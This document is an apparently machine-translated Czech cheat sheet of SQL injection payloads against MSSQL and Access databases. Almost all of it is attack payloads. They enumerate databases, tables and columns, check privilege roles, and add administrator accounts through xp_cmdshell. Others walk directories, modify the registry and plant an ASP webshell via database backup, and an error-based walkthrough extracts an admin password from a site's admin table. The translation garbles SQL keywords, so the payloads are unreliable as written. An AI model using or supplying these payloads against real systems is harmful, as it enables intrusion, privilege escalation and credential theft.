1. Zjistit, zda existuje injekce ; a 1=1 ; a 1=2
2. Předběžné posouzení, zda se jedná o mssql ; a uživatel>0
3. Posuzujte databázový systém ; a (vyberte count(*) ze sysobjects)>0 mssql ; a (vyberte count(*) z msysobjects)>0 přístup
4. Parametr injekce je znak 'a [kritéria dotazu] a ''='
5. Během vyhledávání nejsou žádné filtrované parametry 'a [kritéria dotazu] a '%25'='
6. Hádejte název stolu ; a (vyberte Count(*) z [název tabulky])>0
7. Hádejte pole ; a (vyberte Count(field name) z názvu tabulky)>0
8. Hádejte délku desky v poli ; a (vyberte horní 1 len(název pole) z názvu tabulky)>0
9. (1) Hádejte ASCII hodnotu pole (přístup) ; a (vyberte top 1 ASC(střed (název pole, 1,1)) z názvu tabulky)>0
(2) Odhadnout ASCII hodnotu pole (mssql) ; a (vyberte top 1 unicode(substring(field name,1,1)) z názvu tabulky)>0
10. Struktura oprávnění k testování (mssql) ; a 1=(vybrat IS_SRVROLEMEMBER('sysadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('serveradmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('setupadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('securityadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('diskadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('bulkadmin')); -- ; a 1=(vybrat IS_MEMBER('db_owner')); --
11. Přidat účet pro mssql a systém ; exec master.dbo.sp_addlogin uživatelské jméno; -- ; exec master.dbo.sp_password null, uživatelské jméno, heslo; -- ; exec master.dbo.sp_addsrvrolemember uživatelské jméno správce systému; -- ; exec master.dbo.xp_cmdshell 'Net uživatelské jméno password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'net uživatelské jméno, heslo /add'; -- ; exec master.dbo.xp_cmdshell 'uživatelské jméno správce lokální skupiny /add'; --
12. (1) Projít katalog ; Vytvořte tabulkové směry (Paths Varchar(100), ID Int) ; Vložte Dirs Exec master.dbo.xp_dirtree 'C:\' ; a (vyberte nejlepší 1 cesty z Dirs)>0 ; a (vyberte první cesty z směrů, kde cesty nejsou v ('cesty získané z předchozího kroku'))>)
(2) Projít katalog ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získejte všechny proudové pohony ; vložte do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získejte seznam podadresářů ; vložte do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získejte strukturu adresářového stromu pro všechny podadresáře ; vložte do temp(id) exec master.dbo.xp_cmdshell 'napiš c:\web\index.asp'; -- Zobrazit obsah souboru
13. Uložené procedury v mssql xp_regenumvalues Kořenový klíč registru, podklíč ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' vrací všechny klíčové hodnoty v několika sadách záznamů xp_regread Kořenový klíč, podklíčový klíč, klíč-hodnota ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' vrací hodnotu klíče setu xp_regwrite Kořenový klíč, podklíč, název hodnoty, typ hodnoty, hodnota Existují dva typy hodnot REG_SZ REG_DWORD pro typy znaků a pro celá čísla ; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName', 'reg_sz', 'hello' do registru xp_regdeletevalue Kořenový klíč, podklíč, název hodnoty exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' pro odstranění hodnoty xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' pro odstranění klíče, včetně všech hodnot pod tímto klíčem
14. MSSQL záloha vytváří webshell Použít model Create table cmd (str image); vložte do cmd(str) hodnot ('<% Dim oScript %>'); záložní databázový model na disk='c:\l.asp';
15. Vestavěné funkce MSSQL ; a (vyberte @@version)>0 pro získání verze Windows ; a user_name()='dbo', aby se určilo, zda je připojený uživatel současného systému SA ; a (vybrat user_name()>0 Zničil připojené uživatele současného systému ; a (vyberte db_name()>0 pro získání aktuálně připojené databáze
Porušení ručně anotované databáze MSSQL
1. Zobrazit aktuální název tabulky a název sloupce Zadejte "'having 1=1--" za injekční bod, abyste získali zpětnou zprávu v angličtině, kde vidíte název tabulky a sloupce. Zadejte "group by the list name having 1=1--" pro získání dalšího názvu sloupce; Pokračujte v zasílání "seskupte podle seznamu označených jmen tabulky, názvu odkryté tabulky. Název druhého sloupce má 1=1--", což vám dává další název sloupce. Commit stejným způsobem, dokud stránka nepřestane vracet chybové hlášky, abyste získali všechna jména sloupců. Zajímavosti: Násilné názvy tabulek a sloupců se používají v kombinaci s GROUP BY v SQL příkazech k podmíněným hodnocením. Protože je příkaz neúplný, databáze vrací chybovou zprávu a zobrazuje název tabulky a název sloupce. Základní metoda dokáže zobrazit pouze aktuální tabulku v databázi, a pokud tabulka obsahuje mnoho názvů sloupců, je velmi obtížné použít základní metodu.
Za prvé. Všechny názvy databází jsou odhaleny Použijte příkaz "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=[N])" k zobrazení libovolných jmen tabulek a sloupců v databázi, kde "[N]" představuje N-tu tabulku v databázi. Krok 1: Po vložení bodu odešlete následující příkaz: "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=12)", protože hodnota dbid je od 1 do 5, kterou systém používá, takže uživatel ji musel vytvořit z 6 a my jsme zadali jméno>1, pole názvu je pole typu znaku a porovnání čísel bude chybné, takže po odeslání IE vrátí následující informace: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] převádí hodnotu nvarchar 'Northwind' na datový typ int sloupek. Tímto způsobem je hodnota pole s názvem odhalena, tedy získáme databázové jméno "Northwind". Změnou hodnoty "dbid" se zobrazí všechna jména databází.
a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde jméno>1 a dbid=[N])-- Upravit N tak, aby se všechna jména databází zničila z 6
Za druhé. Zpřístupněte všechny názvy tabulek ve specifikované databázi Po získání názvu databáze je nyní potřeba získat všechny názvy tabulek v knihovně, zadat následující příkaz: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", zde je název tabulky v hlavní databázi a SQL příkaz dotazu vrací hodnotu jména, a poté ji porovnat s číslem 0, aby byla hodnota názvu vystavena. Po odevzdání byl název stolu "'spt_monito" odhalen. Poté jsou vystaveny ostatní tabulky a je odesláno následující tvrzení: "and 0<>(vyberte top 1 jméno z master.dbo.sysobjects, kde xtype='U' a jméno není in('spt_monito'))", a je vystavena další tabulka s názvem "cd512". Soubor "and name not in(' spt_monito',' CD512',..))" Můžete zjistit všechny názvy stolů.
a 0<>(vyberte první jméno z [specifikovat název databáze].dbo.sysobjects kde xtype='U')-- a 0<>(vyberte nejvyšší 1 jméno z [uveďte název databáze].dbo.sysobjects kde xtype='U' a jméno není v('[Exploded table name]')-- a 0<>(vyberte první jméno z [uveďte název databáze].dbo.sysobjects kde xtype='U' a jméno není v ('[Explosive table name]', '[Exploded second table name]')))--
4. Zobrazit všechny názvy sloupců ve specifikované tabulce a 0<>(vyberte count(*) z bbs.dbo.sysobjects kde xtype='U' a name='admin' a uid>(str(id))) Převeďte hodnotu ID na typ znaku a poté ji porovnejte s celočíselnou hodnotou. ID číslo je venku. Hodnota je: 949578421 jméno='název tabulky'
a 0<>(vyberte první jméno z wutong.dbo.syscolumns, kde id=949578421)-- Název pole v administrátorské tabulce je odhalen
Znovu odeslat a 0<>(vyberte první jméno z wutong.dbo.syscolumns, kde id=949578421 a jméno není v ('adduser')))-- Soubor "and name not in(' spt_monito',' CD512',..))" Všechny názvy polí najdete v administrátorské tabulce.
a 0<>(vyberte count(*) z [uveďte název databáze].dbo.sysobjects kde xtype='U' a jméno='[Tabulka pole pro explodaci]' a uid>(str(id)))--ID hodnota názvu tabulky pole, které má být explozivováno
a 0<>(vyberte první jméno z [zadejte název databáze].dbo.syscolumns, kde id=hodnota explodovaného ID)-- Název pole v tabulce hodnot explodujících ID
a 0<>(vyberte první jméno z [uveďte název databáze].dbo.syscolumns, kde id=Hodnota explozivního ID a jméno není v ('[Exploded field name]')))--
5. Přečíst data ve specifikované tabulce
a 0<(vyberte A_ID z wutong.dbo.admin, kde A_UserID>1) – obsah, který rozbil A_PWD
a 0<(vyberte [pole, které existuje] z [uveďte název databáze].dbo.[název tabulky pro dotaz], kde [název pole pro explodující obsah]>1)--
a 0<(vyberte A_ID z wutong.dbo.admin, kde A_PWD>1 a A_UserID='admin')-- Heslo admina je odhaleno
a 0<(Vyberte Top 1 A_UserID OD admina, kde A_ID<>1)-- Administrátorské jméno id<>1 (fuhao)
a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao')-- Jméno druhého administrátora <> nerovná (tuiguang)
a 0<(Vybrat Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao' a A_UserID <> 'tuiguang')--
Po znání názvu tabulky a názvu sloupce databáze můžete použít "query příkaz" k přečtení jakýchkoli informací v databázi. Například pokud chcete číst N-tá data ve sloupci tabulky, můžete zadat příkaz: "and (Vyberte název Top 1 sloupce Z názvu tabulky, kde id=[N])>1" ([N] představuje N-tá data ve sloupci) a můžete zjistit požadovaná data z informací vrácených IE.
|